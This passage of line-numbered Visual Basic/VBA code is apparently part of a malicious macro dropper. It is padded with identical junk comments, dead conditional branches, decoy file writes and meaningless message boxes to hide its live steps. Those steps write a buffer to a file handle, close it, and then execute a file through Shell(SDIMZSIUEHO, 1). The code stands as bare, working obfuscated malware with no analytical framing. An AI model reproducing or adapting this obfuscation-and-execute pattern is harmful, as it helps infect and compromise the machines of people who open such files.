  639. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  640. If 9211 < 29 Then
  641. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  642.  
  643. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  644. GoTo KJLqbQNT
  645. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  646. Dim QiPXhKho As String
  647. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  648. Open "WFXWAM.RUM" For Binary As 61
  649. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  650. Put #61, , QiPXhKho
  651. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  652. Close #61
  653. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  654. KJLqbQNT:
  655. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  656.  
  657. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  658. MsgBox ("TlXyJJZT39")
  659. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  660. End If
  661. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  662. If Len("dONrNpvV3475") = Len("uevOLhSs") Then
  663. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  664.  
  665. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  666. GoTo VtitQltl
  667. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  668. Dim EaGbVDCp As String
  669. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  670. Open "JQBPLJ.JIB" For Binary As 59
  671. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  672. Put #59, , EaGbVDCp
  673. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  674. Close #59
  675. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  676. VtitQltl:
  677. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  678.  
  679. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  680. MsgBox ("Error !!!")
  681. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  682. End If
  683. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  684.  
  685. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  686. GoTo pGNIZoOc
  687. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  688. Dim FQUrGEAh As String
  689. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  690. Open "CEWBFS.CAW" For Binary As 76
  691. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  692. Put #76, , FQUrGEAh
  693. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  694. Close #76
  695. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  696. pGNIZoOc:
  697. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  698.  
  699. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  700. Put #IZFFIKFVETZ, , ITCKXLQBSWF
  701. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  702.  
  703. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  704. If 472112 = 472112 + 1 Then End
  705. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  706. If 7411 < 49 Then
  707. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  708.  
  709. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  710. GoTo iNeclfDu
  711. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  712. Dim SXPKYOTV As String
  713. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  714. Open "XOXLPG.XYC" For Binary As 78
  715. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  716. Put #78, , SXPKYOTV
  717. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  718. Close #78
  719. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  720. iNeclfDu:
  721. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  722.  
  723. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  724. MsgBox ("GDvWEUwb39")
  725. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  726. End If
  727. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  728. If Len("yVNeTjSI8361") = Len("UAEhDGqg") Then
  729. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  730.  
  731. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  732. GoTo TghRwPIL
  733. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  734. Dim qpCBOybQ As String
  735. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  736. Open "GNUTNL.VKT" For Binary As 45
  737. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  738. Put #45, , qpCBOybQ
  739. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  740. Close #45
  741. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  742. TghRwPIL:
  743. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  744.  
  745. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  746. MsgBox ("Error !!!")
  747. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  748. End If
  749. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  750.  
  751. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  752. GoTo JBiifAdB
  753. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  754. Dim wMGEnXrH As String
  755. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  756. Open "MKEMXG.RQA" For Binary As 62
  757. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  758. Put #62, , wMGEnXrH
  759. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  760. Close #62
  761. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  762. JBiifAdB:
  763. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  764.  
  765. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  766. Close #IZFFIKFVETZ
  767. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  768.  
  769. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  770. If 631488 = 631488 + 1 Then End
  771. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  772. If 3163 < 34 Then
  773. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  774.  
  775. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  776. GoTo flLhXowp
  777. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  778. Dim yPOaDhPD As String
  779. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  780. Open "YEXVDT.GWM" For Binary As 16
  781. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  782. Put #16, , yPOaDhPD
  783. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  784. Close #16
  785. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  786. flLhXowp:
  787. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  788.  
  789. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  790. MsgBox ("jrhEEoGu17")
  791. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  792. End If
  793. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  794. If Len("RRvqaWXK4813") = Len("bCCGWNpy") Then
  795. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  796.  
  797. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  798. GoTo XlWyPhUn
  799. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  800. Dim AgEnCQbl As String
  801. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  802. Open "HKKQKH.HGL" For Binary As 52
  803. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  804. Put #52, , AgEnCQbl
  805. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  806. Close #52
  807. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  808. XlWyPhUn:
  809. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  810.  
  811. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  812. MsgBox ("Error !!!")
  813. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  814. End If
  815. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  816.  
  817. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  818. GoTo ueFPAusY
  819. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  820. Dim SBwtFArc As String
  821. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  822. Open "XPGNFQ.XUG" For Binary As 78
  823. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  824. Put #78, , SBwtFArc
  825. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  826. Close #78
  827. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  828. ueFPAusY:
  829. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  830.  
  831. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  832.  
  833. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  834.  
  835. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  836. Dim LJCZUXFLVHC
  837. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  838. If 882953 = 882953 + 1 Then End
  839. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  840. If 3529 < 81 Then
  841. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  842.  
  843. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  844. GoTo iNzRQXIK
  845. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  846. Dim DXOBVjbP As String
  847. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  848. Open "ELNTIB.SQV" For Binary As 93
  849. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  850. Put #93, , DXOBVjbP
  851. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  852. Close #93
  853. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  854. iNzRQXIK:
  855. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  856.  
  857. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  858. MsgBox ("gLnGBqck95")
  859. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  860. End If
  861. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  862. If Len("TrzCNMFb4469") = Len("uURqokdy") Then
  863. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  864.  
  865. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  866. GoTo rbKkWzdl
  867. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  868. Dim XHOzSoAX As String
  869. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  870. Open "AYWBDZ.MLJ" For Binary As 87
  871. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  872. Put #87, , XHOzSoAX
  873. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  874. Close #87
  875. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  876. rbKkWzdl:
  877. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  878.  
  879. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  880. MsgBox ("Error !!!")
  881. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  882. End If
  883. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  884.  
  885. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  886. GoTo ZTMsjRgp
  887. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  888. Dim wWPXiQED As String
  889. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  890. Open "DIXXCH.DYC" For Binary As 48
  891. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  892. Put #48, , wWPXiQED
  893. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  894. Close #48
  895. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  896. ZTMsjRgp:
  897. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  898.  
  899. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  900. LJCZUXFLVHC = Shell(SDIMZSIUEHO, 1)
  901. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  902.  
  903. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  904.  
  905. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  906. If 995635 = 995635 + 1 Then End
  907. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  908. If 9597 < 33 Then
  909. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  910.  
  911. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  912. GoTo huBGCIdP
  913. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  914. Dim MzYppetZ As String
  915. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  916. Open "NSMEVB.ORL" For Binary As 89
  917. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  918. Put #89, , MzYppetZ
  919. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  920. Close #89
  921. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  922. huBGCIdP:
  923. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  924.  
  925. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  926. MsgBox ("QDDFlAjT44")
  927. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  928. End If
  929. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  930. If Len("keJSZMdV4761") = Len("nJvINSVC") Then
  931. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  932.  
  933. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  934. GoTo hyBKATga
  935. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  936. Dim WzUfFNyK As String
  937. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  938. Open "NSMRFV.NOW" For Binary As 89
  939. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  940. Put #89, , WzUfFNyK
  941. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  942. Close #89
  943. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  944. hyBKATga:
  945. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  946.  
  947. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  948. MsgBox ("Error !!!")
  949. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  950. End If
  951. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  952.  
  953. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  954. GoTo GsaSCijK
  955. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  956. Dim luIipZiP As String
